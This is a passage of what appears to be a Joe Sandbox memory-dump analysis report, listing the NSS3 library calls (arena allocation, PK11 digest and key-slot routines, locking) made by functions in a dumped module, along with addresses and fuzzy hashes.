Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C689C5B), ref: 6C689DA9

Part of subcall function 6C681340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68136A
Part of subcall function 6C681340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68137E
Part of subcall function 6C681340: PL_ArenaGrow.NSS3(?,6C61F599,?,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?), ref: 6C6813CF
Part of subcall function 6C681340: PR_Unlock.NSS3(?,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C689C5B), ref: 6C689DCE

Part of subcall function 6C681340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C6813F0
Part of subcall function 6C681340: PL_ArenaGrow.NSS3(?,6C61F599,?,?,?,00000000,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C681445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C689C5B), ref: 6C689DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C689C5B), ref: 6C689DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C689C5B), ref: 6C689E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C689C5B), ref: 6C689E91

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

Part of subcall function 6C681560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C67FAAB,00000000), ref: 6C68157E
Part of subcall function 6C681560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C67FAAB,00000000), ref: 6C681592
Part of subcall function 6C681560: memset.VCRUNTIME140(?,00000000,?), ref: 6C681600
Part of subcall function 6C681560: PL_ArenaRelease.NSS3(?,?), ref: 6C681620
Part of subcall function 6C681560: PR_Unlock.NSS3(?), ref: 6C681639

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 46d6c52b365575d72a2f607224fbe5b009dc16f07adff0f5198b3d71df957831
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 54418DB4602606AFE750DF15D844B92BBA1FF4534CF148128D9188BFA1EB72E835CFA4

Function 6C64DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C64DDEC

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

PK11_DigestBegin.NSS3(00000000), ref: 6C64DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C64DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C64DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C64DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C64DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64DECC

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 5e153a29b3f9f1894a4fdf263a4d77866bb7c6120280e762b56857ebdec3e576
Instruction ID: 94f13b3a33c92beaeccdb914f6cda443b6d3398b78d86fa2f7d85ad870889655
Opcode Fuzzy Hash: 5e153a29b3f9f1894a4fdf263a4d77866bb7c6120280e762b56857ebdec3e576
Instruction Fuzzy Hash: 9D31D7B2D002146BDB01AE24EC40FBB76B8DF56708F058135ED09A7742FB31D919C6EA

Function 6C627E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C627E48

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C627E5B

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C627E7B

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C74925C,?), ref: 6C627E92

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C627EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C627ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C627EFA

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: aa0cc999d7b4eed34cf6c80b23f3d1f3c2028daa18ed45c8d831d2e49a74b203
Instruction ID: 095850e0c4ed668b5fb581652997f44f411817b9f46641418a9bc42795eecb29
Opcode Fuzzy Hash: aa0cc999d7b4eed34cf6c80b23f3d1f3c2028daa18ed45c8d831d2e49a74b203
Instruction Fuzzy Hash: 0731AFB2A012159BEB108B69DD40F9B73E8AF45758F154824EC55EBB41F734EC04CBB9

Function 6C67DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C67D9E4,00000000), ref: 6C67DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C67D9E4,00000000), ref: 6C67DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C67D9E4,00000000), ref: 6C67DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C67DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C67DCAD

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: ed6bec55878712c03f62cb47e61cec5eb2b5de79e3ac4fbc12bc22606d4f5279
Instruction ID: 7939460665a5331e5bd0ca4f38bb8c4956ab33669c06ac9bb185e9e499f28889
Opcode Fuzzy Hash: ed6bec55878712c03f62cb47e61cec5eb2b5de79e3ac4fbc12bc22606d4f5279
Instruction Fuzzy Hash: AC317EB5A012049FE720CF19D884B96B7F8AF05358F248C29E94CCBB41E772E944CBB5

Function 6C642E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C63E728,?,00000038,?,?,00000000), ref: 6C642E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C642E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C642E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C642E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C642E9E
PR_Unlock.NSS3(?), ref: 6C642EAB
PR_Unlock.NSS3(?), ref: 6C642F0D

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 68ad93198e6cc35f521a1d5ca3f206f1e17410b044ebab060134ff386d4b4744
Instruction ID: fb928060a97d5b9df75f0523944df523bd7b643ba2bd1a8138f536a746e5cc5c
Opcode Fuzzy Hash: 68ad93198e6cc35f521a1d5ca3f206f1e17410b044ebab060134ff386d4b4744
Instruction Fuzzy Hash: CE3104B5A00505ABEB015F28D8448BAB775EF4A359B64C1B4EC08C7A21EB31EC64C7E5

Function 6C661EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&fl,6C646295,?,00000000,?,00000001,S&fl,?), ref: 6C661ECB

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&fl,6C646295,?,00000000,?,00000001,S&fl,?), ref: 6C661EF1
EnterCriticalSection.KERNEL32(?), ref: 6C661F01
PR_SetError.NSS3(00000000,00000000), ref: 6C661F39

Part of subcall function 6C66FE20: TlsGetValue.KERNEL32(6C645ADC,?,00000000,00000001,?,?,00000000,?,6C63BA55,?,?), ref: 6C66FE4B
Part of subcall function 6C66FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C66FE5F

PR_Unlock.NSS3(?), ref: 6C661F67

Strings

S&fl, xrefs: 6C661EA0

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&fl
API String ID: 704537481-3013583952
Opcode ID: 70030ccdbe57c3946aeefd5ec5294e5e56f366ce0011e6c6c17678e013476778
Instruction ID: ad0170fad3c46972280942d74cc039b0a55626b80dde4b019c64fc89977eb927
Opcode Fuzzy Hash: 70030ccdbe57c3946aeefd5ec5294e5e56f366ce0011e6c6c17678e013476778
Instruction Fuzzy Hash: 4121F875A04104ABDB009E2BDC44F9B37A9EF46369F144165FD1887F11E730D954C7EA

Function 6C68CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C68CD93,?), ref: 6C68CEEE

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C68CD93,?), ref: 6C68CEFC

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C68CD93,?), ref: 6C68CF0B

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C68CD93,?), ref: 6C68CF1D

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C68CD93,?,?,?,?,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF78

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: deb9eec5a50a1059c9f20aa298a14e69f739689f68bd3153e551b459d853b6a1
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 0811E7B1E022046BFB10AA667C41B6B75EC9F4974DF104139EC0AD7741FB60D90886BA

Function 6C638C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C638C1B
EnterCriticalSection.KERNEL32 ref: 6C638C34
PL_ArenaAllocate.NSS3 ref: 6C638C65
PR_Unlock.NSS3 ref: 6C638C9C
PR_Unlock.NSS3 ref: 6C638CB6

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

Strings

KRAM, xrefs: 6C638C8F

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 6e4a75a9868956ae59bca00a510575fb25b0293953c11c510dd85bf3d8860fff
Instruction ID: a815c7eb56338e56bbc3183025e6676c79f4b2c40908027420f8348e71f2e3bc
Opcode Fuzzy Hash: 6e4a75a9868956ae59bca00a510575fb25b0293953c11c510dd85bf3d8860fff
Instruction Fuzzy Hash: 242156B1A056118FD700AF78C484599B7F4FF49304F15A96ED888CB721DB35D885CF9A

Function 6C648E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C662E62,?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C), ref: 6C648EA2

Part of subcall function 6C66F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C66F854
Part of subcall function 6C66F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C66F868
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C66F882
Part of subcall function 6C66F820: free.MOZGLUE(04C483FF,?,?), ref: 6C66F889
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C66F8A4
Part of subcall function 6C66F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C66F8AB
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C66F8C9
Part of subcall function 6C66F820: free.MOZGLUE(280F10EC,?,?), ref: 6C66F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C662E62,?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C), ref: 6C648EC3
TlsGetValue.KERNEL32(?,?,?,6C662E62,?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C), ref: 6C648EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C662E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C648EF1
PR_Unlock.NSS3 ref: 6C648F20

Strings

b.fl, xrefs: 6C648E96, 6C648F25

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.fl
API String ID: 1978757487-4112214572
Opcode ID: a7f6328196c06331ccbbf34d5f954c71974eb950bcaaca039138bbdfc230d1e9
Instruction ID: 262b6fb66c7b5e4ad539f72c5bfa7ea6b7f1412f05478dc1a2eb514a62489b25
Opcode Fuzzy Hash: a7f6328196c06331ccbbf34d5f954c71974eb950bcaaca039138bbdfc230d1e9
Instruction Fuzzy Hash: F0216B70A097059BC700AF29D184699BBF4FF49358F01856EE898DBB50D730E854CBDA

Function 6C6B3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

PR_EnterMonitor.NSS3(?), ref: 6C6B3E45

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

PR_EnterMonitor.NSS3(?), ref: 6C6B3E5C
PR_EnterMonitor.NSS3(?), ref: 6C6B3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C6B3EA6

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_ExitMonitor.NSS3(?), ref: 6C6B3EC0
PR_ExitMonitor.NSS3(?), ref: 6C6B3ED7
PR_ExitMonitor.NSS3(?), ref: 6C6B3EEE

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 5bc18e28123c74249c19edfd2bb8b2929aecec09f8ff55571fdeab92547825c8
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: AC1169B1615600ABD6315E29FC027C776619F4531CF400837F55956A21EA36E93BC74E

Function 6C732C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C732CA0
PR_ExitMonitor.NSS3 ref: 6C732CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C732CD1
strdup.MOZGLUE(?), ref: 6C732CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C732D27

Strings

Loaded library %s (static lib), xrefs: 6C732D22

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: af7d779495892867a0f1fc3c9ba4ab8a26cf33ee7e90655a158b7f3253066261
Instruction ID: 56f84048684db3e74218dab4aef6e6be26883f57d961bba387458a9e064674ef
Opcode Fuzzy Hash: af7d779495892867a0f1fc3c9ba4ab8a26cf33ee7e90655a158b7f3253066261
Instruction Fuzzy Hash: FE1193B17062609BEB018F15D9496A677B4AB8631EF24813DD95DC7B43DB31D808CBE1

Function 6C62BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C62BDCA

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
